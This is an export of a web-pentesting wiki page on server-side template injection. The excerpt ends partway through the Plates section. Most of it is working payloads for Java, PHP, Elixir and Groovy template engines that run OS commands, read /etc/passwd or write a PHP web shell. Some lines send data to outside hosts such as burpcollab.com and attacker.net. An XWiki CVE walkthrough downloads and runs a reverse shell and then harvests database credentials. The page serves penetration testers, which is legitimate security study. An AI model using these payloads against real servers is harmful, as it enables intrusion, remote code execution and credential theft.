overview.md (56229B)
1 --- 2 title: "SSTI (Server Side Template Injection)" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/ssti-server-side-template-injection/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SSTI (Server Side Template Injection) 14 15 ## What is SSTI (Server-Side Template Injection) 16 17 Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja. 18 19 Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja: 20 21 ```python 22 output = template.render(name=request.args.get('name')) 23 ``` 24 25 In this vulnerable code, the `name` parameter from the user's request is directly passed into the template using the `render` function. This can potentially allow an attacker to inject malicious code into the `name` parameter, leading to server-side template injection. 26 27 For instance, an attacker could craft a request with a payload like this: 28 29 ```text 30 http://vulnerable-website.com/?name={{bad-stuff-here}} 31 ``` 32 33 The payload `{{bad-stuff-here}}` is injected into the `name` parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server. 34 35 To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.<sup>[[4]](#references)</sup> 36 37 ### Detection 38 39 To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:<sup>[[4]](#references)</sup> 40 41 - Thrown errors, revealing the vulnerability and potentially the template engine. 42 - Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data. 43 - **Plaintext Context**: Distinguish from XSS by checking if the server evaluates template expressions (e.g., `{{7*7}}`, `${7*7}`). 44 - **Code Context**: Confirm vulnerability by altering input parameters. For instance, changing `greeting` in `http://vulnerable-website.com/?greeting=data.username` to see if the server's output is dynamic or fixed, like in `greeting=data.username}}hello` returning the username. 45 46 #### Identification Phase 47 48 Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.<sup>[[4]](#references)</sup> 49 50 #### Identification by payloads 51 52 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%289%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure> 53 54 - More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)<sup>[[7]](#references)</sup> 55 56 ## Tools 57 58 ### [TInjA](https://github.com/Hackmanit/TInjA) 59 60 an efficient SSTI + CSTI scanner which utilizes novel polyglots 61 62 ```bash 63 tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." 64 tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." 65 ``` 66 67 ### [SSTImap](https://github.com/vladko312/sstimap) 68 69 ```bash 70 python3 sstimap.py -i -l 5 71 python3 sstimap.py -u "http://example.com/" --crawl 5 --forms 72 python3 sstimap.py -u "https://example.com/page?name=John" -s 73 ``` 74 75 ### [Tplmap](https://github.com/epinna/tplmap) 76 77 ```python 78 python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell 79 python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" 80 python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade 81 ``` 82 83 ### [Template Injection Table](https://github.com/Hackmanit/template-injection-table) 84 85 an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines. 86 87 ## Exploits 88 89 ### Generic 90 91 In this **wordlist** you can find **variables defined** in the environments of some of the engines mentioned below: 92 93 - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) 94 - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) 95 96 ### Elixir / Phoenix LiveView HEEx expression injection 97 98 Treat exposed Phoenix LiveView Storybooks, component explorers, playgrounds, and debug interfaces as server-side attack surfaces even when the ordinary HTTP page looks static. Fetch the LiveView page, inspect `/live/websocket` traffic, and trace attacker-controlled values from `handle_event/3` through conversion/rendering helpers to sinks such as `EEx.compile_string/2` and `Code.eval_quoted_with_env/3`. In the Phoenix Storybook case, the exploitable flow was `psb-assign` → `handle_set_variation_assign/3` → binary attribute storage → generated HEEx → compilation → evaluation.<sup>[[10]](#references)[[11]](#references)</sup> 99 100 A dangerous renderer builds component source by interpolating an untrusted binary between quotes, then compiles and evaluates the resulting HEEx. HTML escaping performed after compilation cannot protect this earlier data-to-code boundary.<sup>[[10]](#references)[[11]](#references)</sup> 101 102 ```text 103 {name, val} when is_binary(val) -> 104 ~s|#{name}="#{val}"| 105 106 quoted = EEx.compile_string(heex, 107 engine: Phoenix.LiveView.TagEngine, 108 tag_handler: Phoenix.LiveView.HTMLEngine 109 ) 110 Code.eval_quoted_with_env(quoted, [assigns: %{}], env) 111 ``` 112 113 For a generated fragment such as `<.button type="ATTACKER_VALUE" />`, the quote-breakout shape `foo" pwned={EXPRESSION} a="` closes the intended attribute, introduces a new HEEx expression attribute, and uses `a="` to consume the renderer's final quote. First use an undefined identifier as a low-impact compiler oracle; then, only in an authorized test, a fully qualified `System.cmd/2` call demonstrates impact. `elem/2` extracts stdout from `{output, exit_status}` so the injected expression returns a renderable string.<sup>[[10]](#references)[[11]](#references)</sup> 114 115 ```text 116 # Compiler oracle 117 foo" pwned={aaaa} a=" 118 119 # OS command execution 120 foo" pwned={elem(System.cmd("sh", ["-c", "id"]), 0)} a=" 121 ``` 122 123 To replay a Phoenix LiveView event, request the target page or iframe first and extract its cookie, CSRF token, `data-phx-session`, `data-phx-static`, and Phoenix DOM IDs. Convert `http(s)` to `ws(s)`, join the required parent/child LiveView topics, and send the five-field Phoenix channel frame `[join_ref, msg_ref, topic, channel_event, payload]`. The following Storybook-shaped frame illustrates the nested outer `event` and inner action; the topic and IDs are deployment-specific.<sup>[[11]](#references)</sup> 124 125 ```json 126 ["3", "3", "lv:<child-dom-id>", "event", { 127 "type": "click", "event": "psb-assign", 128 "value": {"variation_id": "default", "type": "foo\" pwned={aaaa} a=\""} 129 }] 130 ``` 131 132 The robust fix is to keep runtime attributes as data (for example, pass an assigns map and use HEEx attribute spreading) rather than serialize them into source. Also validate variation IDs and attribute names against known values and avoid `String.to_atom/1` on client input. Remove or authenticate developer routes; merely restricting imported functions is insufficient because fully qualified calls remain available to evaluated Elixir code.<sup>[[10]](#references)</sup> 133 134 ### Java 135 136 **Java - Basic injection** 137 138 ```java 139 ${7*7} 140 ${{7*7}} 141 ${class.getClassLoader()} 142 ${class.getResource("").getPath()} 143 ${class.getResource("../../../../../index.htm").getContent()} 144 // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}. 145 ``` 146 147 **Java - Retrieve the system’s environment variables** 148 149 ```java 150 ${T(java.lang.System).getenv()} 151 ``` 152 153 **Java - Retrieve /etc/passwd** 154 155 ```java 156 ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} 157 158 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} 159 ``` 160 161 ### FreeMarker (Java) 162 163 You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) 164 165 - `{{7*7}} = {{7*7}}` 166 - `${7*7} = 49` 167 - `#{7*7} = 49 -- (legacy)` 168 - `${7*'7'} Nothing` 169 - `${foobar}` 170 171 ```java 172 <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} 173 [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} 174 ${"freemarker.template.utility.Execute"?new()("id")} 175 176 ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} 177 ``` 178 179 **Freemarker - Sandbox bypass** 180 181 ⚠️ only works on Freemarker versions below 2.3.30 182 183 ```java 184 <#assign classloader=article.class.protectionDomain.classLoader> 185 <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> 186 <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> 187 <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> 188 ${dwf.newInstance(ec,null)("id")} 189 ``` 190 191 **More information** 192 193 - In FreeMarker section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 194 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) 195 196 ### Velocity (Java) 197 198 ```java 199 // I think this doesn't work 200 #set($str=$class.inspect("java.lang.String").type) 201 #set($chr=$class.inspect("java.lang.Character").type) 202 #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) 203 $ex.waitFor() 204 #set($out=$ex.getInputStream()) 205 #foreach($i in [1..$out.available()]) 206 $str.valueOf($chr.toChars($out.read())) 207 #end 208 209 // This should work? 210 #set($s="") 211 #set($stringClass=$s.getClass()) 212 #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime()) 213 #set($process=$runtime.exec("cat%20/flag563378e453.txt")) 214 #set($out=$process.getInputStream()) 215 #set($null=$process.waitFor() ) 216 #foreach($i+in+[1..$out.available()]) 217 $out.read() 218 #end 219 ``` 220 221 **More information** 222 223 - In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 224 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) 225 226 ### Thymeleaf 227 228 In Thymeleaf, a common test for SSTI vulnerabilities is the expression `${7*7}`, which also applies to this template engine. For potential remote code execution, expressions like the following can be used: 229 230 - SpringEL: 231 232 ```java 233 ${T(java.lang.Runtime).getRuntime().exec('calc')} 234 ``` 235 236 - OGNL: 237 238 ```java 239 ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} 240 ``` 241 242 Thymeleaf requires these expressions to be placed within specific attributes. However, _expression inlining_ is supported for other template locations, using syntax like `[[...]]` or `[(...)]`. Thus, a simple SSTI test payload might look like `[[${7*7}]]`. 243 244 However, the likelihood of this payload working is generally low. Thymeleaf's default configuration doesn't support dynamic template generation; templates must be predefined. Developers would need to implement their own `TemplateResolver` to create templates from strings on-the-fly, which is uncommon. 245 246 Thymeleaf also offers _expression preprocessing_, where expressions within double underscores (`__...__`) are preprocessed. This feature can be utilized in the construction of expressions, as demonstrated in Thymeleaf's documentation: 247 248 ```java 249 #{selection.__${sel.code}__} 250 ``` 251 252 **Example of Vulnerability in Thymeleaf** 253 254 Consider the following code snippet, which could be susceptible to exploitation: 255 256 ```xml 257 <a th:href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/%40%7B__%24%7Bpath%7D__%7D" th:title="${title}"> 258 <a th:href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/%24%7B''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'> 259 ``` 260 261 This indicates that if the template engine processes these inputs improperly, it might lead to remote code execution accessing URLs like: 262 263 ```text 264 http://localhost:8082/(7*7) 265 http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) 266 ``` 267 268 **More information** 269 270 - [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) 271 272 273 [El Expression Language](/hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language) 274 275 ### Spring Framework (Java) 276 277 ```java 278 *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} 279 ``` 280 281 **Bypass filters** 282 283 Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`. 284 285 - Read `/etc/passwd` 286 287 ```java 288 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} 289 ``` 290 291 - Custom Script for payload generation 292 293 ```python 294 #!/usr/bin/python3 295 296 ## Written By Zeyad Abulaban (zAbuQasem) 297 # Usage: python3 gen.py "id" 298 299 from sys import argv 300 301 cmd = list(argv[1].strip()) 302 print("Payload: ", cmd , end="\n\n") 303 converted = [ord(c) for c in cmd] 304 base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' 305 end_payload = '.getInputStream())}' 306 307 count = 1 308 for i in converted: 309 if count == 1: 310 base_payload += f"(T(java.lang.Character).toString({i}).concat" 311 count += 1 312 elif count == len(converted): 313 base_payload += f"(T(java.lang.Character).toString({i})))" 314 else: 315 base_payload += f"(T(java.lang.Character).toString({i})).concat" 316 count += 1 317 318 print(base_payload + end_payload) 319 ``` 320 321 **More Information** 322 323 - [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) 324 - [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) 325 326 ### Spring View Manipulation (Java) 327 328 ```java 329 __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x 330 __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x 331 ``` 332 333 - [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) 334 335 336 [El Expression Language](/hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language) 337 338 ### Pebble (Java) 339 340 - `{{ someString.toUPPERCASE() }}` 341 342 Old version of Pebble ( < version 3.0.9): 343 344 ```java 345 {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} 346 ``` 347 348 New version of Pebble : 349 350 ```java 351 {% raw %} 352 {% set cmd = 'id' %} 353 {% endraw %} 354 355 356 {% set bytes = (1).TYPE 357 .forName('java.lang.Runtime') 358 .methods[6] 359 .invoke(null,null) 360 .exec(cmd) 361 .inputStream 362 .readAllBytes() %} 363 {{ (1).TYPE 364 .forName('java.lang.String') 365 .constructors[0] 366 .newInstance(([bytes]).toArray()) }} 367 ``` 368 369 ### Jinjava (Java) 370 371 ```java 372 {{'a'.toUpperCase()}} would result in 'A' 373 {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 374 ``` 375 376 Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) 377 378 **Jinjava - Command execution** 379 380 Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) 381 382 ```java 383 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} 384 385 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} 386 387 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} 388 389 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} 390 ``` 391 392 **More information** 393 394 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) 395 396 ### Hubspot - HuBL (Java) 397 398 - `{% %}` statement delimiters 399 - `{{ }}` expression delimiters 400 - `{# #}` comment delimiters 401 - `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 402 - `{{'a'.toUpperCase()}}` - "A" 403 - `{{'a'.concat('b')}}` - "ab" 404 - `{{'a'.getClass()}}` - java.lang.String 405 - `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest 406 - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() 407 408 Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the [Jinjava project on Github](https://github.com/HubSpot/jinjava/). 409 410 ```java 411 {{request.isDebug()}} 412 //output: False 413 414 //Using string 'a' to get an instance of class sun.misc.Launcher 415 {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} 416 //output: sun.misc.Launcher@715537d4 417 418 //It is also possible to get a new object of the Jinjava class 419 {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} 420 //output: com.hubspot.jinjava.JinjavaConfig@78a56797 421 422 //It was also possible to call methods on the created object by combining the 423 424 425 {% raw %} 426 {% %} and {{ }} blocks 427 {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} 428 {% endraw %} 429 430 431 {{ji.render('{{1*2}}')}} 432 //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. 433 434 //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} 435 //output: xxx 436 437 //RCE 438 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} 439 //output: java.lang.UNIXProcess@1e5f456e 440 441 //RCE with org.apache.commons.io.IOUtils. 442 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} 443 //output: netstat execution 444 445 //Multiple arguments to the commands 446 Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} 447 //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 448 ``` 449 450 **More information** 451 452 - [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) 453 454 ### Expression Language - EL (Java) 455 456 - `${"aaaa"}` - "aaaa" 457 - `${99999+1}` - 100000. 458 - `#{7*7}` - 49 459 - `${{7*7}}` - 49 460 - `${{request}}, ${{session}}, {{faceContext}}` 461 462 Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include: 463 464 - **JavaServer Faces (JSF)**: Employs EL to bind components in JSF pages to the corresponding backend data and actions. 465 - **JavaServer Pages (JSP)**: EL is used in JSP for accessing and manipulating data within JSP pages, making it easier to connect page elements to the application data. 466 - **Contexts and Dependency Injection for Java EE (CDI)**: EL integrates with CDI to allow seamless interaction between the web layer and managed beans, ensuring a more coherent application structure. 467 468 Check the following page to learn more about the **exploitation of EL interpreters**: 469 470 471 [El Expression Language](/hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language) 472 473 ### Groovy (Java) 474 475 The following Security Manager bypasses were taken from this [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).<sup>[[8]](#references)</sup> 476 477 ```java 478 //Basic Payload 479 import groovy.*; 480 @groovy.transform.ASTTest(value={ 481 cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " 482 assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) 483 }) 484 def x 485 486 //Payload to get output 487 import groovy.*; 488 @groovy.transform.ASTTest(value={ 489 cmd = "whoami"; 490 out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() 491 cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; 492 java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) 493 }) 494 def x 495 496 //Other payloads 497 new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") 498 this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) 499 this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) 500 ``` 501 502 #### XWiki SolrSearch Groovy RCE (CVE-2025-24893) 503 504 XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renders unauthenticated RSS search feeds through the `Main.SolrSearch` macro. The handler takes the `text` query parameter, wraps it in wiki syntax and evaluates macros, so injecting `}}}` followed by `{{groovy}}` executes arbitrary Groovy in the JVM.<sup>[[5]](#references)[[6]](#references)</sup> 505 506 1. **Fingerprint & scope** – When XWiki is reverse-proxied behind host-based routing, fuzz the `Host` header (`ffuf -u http://<ip> -H "Host: FUZZ.target" ...`) to discover the wiki vhost, then browse `/xwiki/bin/view/Main/` and read the footer (`XWiki Debian 15.10.8`) to pin the vulnerable build. 507 2. **Trigger SSTI** – Request `/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. The RSS item `<title>` will contain the Groovy output. Always “URL-encode all characters” so spaces stay as `%20`; replacing them with `+` makes XWiki throw HTTP 500. 508 3. **Run OS commands** – Swap the Groovy body for `{{groovy}}println("id".execute().text){{/groovy}}`. `String.execute()` spawns the command directly with `execve()`, so shell metacharacters (`|`, `>`, `&`) are not interpreted. Use a download-and-execute pattern instead: 509 - `"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text` 510 - `"bash /dev/shm/rev".execute().text` (the script holds the reverse shell logic). 511 4. **Post exploitation** – XWiki stores database credentials in `/etc/xwiki/hibernate.cfg.xml`; leaking `hibernate.connection.password` gives real-system passwords that can be reused over SSH. If the service unit sets `NoNewPrivileges=true`, tools such as `/bin/su` will not gain additional privileges even with valid passwords, so pivot via SSH instead of relying on local SUID binaries. 512 513 The same payload works on `/xwiki/bin/get/Main/SolrSearch`, and the Groovy stdout is always embedded in the RSS title, so it is easy to script enumeration of commands. 514 515 ### Other Java 516 517 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%287%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure> 518 519 - The cross-engine comparison also includes additional Java template syntax and payloads.<sup>[[7]](#references)</sup> 520 521 ## 522 523 ### Smarty (PHP) 524 525 ```php 526 {$smarty.version} 527 {php}echo `id`;{/php} //deprecated in smarty v3 528 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} 529 {system('ls')} // compatible v3 530 {system('cat index.php')} // compatible v3 531 ``` 532 533 **More information** 534 535 - In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 536 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) 537 538 ### Twig (PHP) 539 540 - `{{7*7}} = 49` 541 - `${7*7} = ${7*7}` 542 - `{{7*'7'}} = 49` 543 - `{{1/0}} = Error` 544 - `{{foobar}} Nothing` 545 546 ```python 547 #Get Info 548 {{_self}} #(Ref. to current application) 549 {{_self.env}} 550 {{dump(app)}} 551 {{app.request.server.all|join(',')}} 552 553 #File read 554 "{{'/etc/passwd'|file_excerpt(1,30)}}"@ 555 556 #Exec code 557 {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} 558 {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} 559 {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} 560 {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} 561 {{['id']|filter('system')}} 562 {{['cat\x20/etc/passwd']|filter('system')}} 563 {{['cat$IFS/etc/passwd']|filter('system')}} 564 {{['id',""]|sort('system')}} 565 566 #Hide warnings and errors for automatic exploitation 567 {{["error_reporting", "0"]|sort("ini_set")}} 568 ``` 569 570 **Twig - Template format** 571 572 ```php 573 $output = $twig > render ( 574 'Dear' . $_GET['custom_greeting'], 575 array("first_name" => $user.first_name) 576 ); 577 578 $output = $twig > render ( 579 "Dear {first_name}", 580 array("first_name" => $user.first_name) 581 ); 582 ``` 583 584 **More information** 585 586 - In Twig and Twig (Sandboxed) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 587 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) 588 589 ### Plates (PHP) 590 591 Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers. 592 593 Controller: 594 595 ```php 596 // Create new Plates instance 597 $templates = new League\Plates\Engine('/path/to/templates'); 598 599 // Render a template 600 echo $templates->render('profile', ['name' => 'Jonathan']); 601 ``` 602 603 Page template: 604 605 ```php 606 <?php $this->layout('template', ['title' => 'User Profile']) ?> 607 608 <h1>User Profile</h1> 609 <p>Hello, <?=$this->e($name)?></p> 610 ``` 611 612 Layout template: 613 614 